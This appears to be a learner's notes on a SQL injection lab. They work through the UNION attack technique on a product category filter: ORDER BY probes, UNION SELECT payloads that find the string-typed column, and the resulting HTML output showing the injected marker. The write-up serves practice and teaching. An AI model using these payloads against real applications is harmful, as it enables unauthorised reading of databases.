

# NOTES(By Manual SQLI )

1. vuln in the product category filter
2. The results from the query are returned in the application's response, so you can use a UNION attack to retrieve data from other tables.

Analysis:

1. ' order by 1—
2. ' order by 4— ( → error )
3. ' UNION select 'a',NULL,NULL— ( → giving an error)
4. ' UNION select NULL,'a','a'—( → error)(it simply means the 2nd and 3rd column would be a string type)
5. ' UNION select NULL,'a',NULL— ( → not error) it means the second column is string type

for retrieving this we have to do ...

6. ' UNION select NULL,'ZBSsMC',NULL—

<b>Snow Delivered To Your Door</b>	\$65.46	<a href="#">View details</a>
<b>High-End Gift Wrapping</b>	\$12.97	<a href="#">View details</a>
<b>Conversation Controlling Lemon</b>	\$51.57	<a href="#">View details</a>
<b>Couple's Umbrella</b>	\$61.10	<a href="#">View details</a>
<b>ZBSsMC</b>
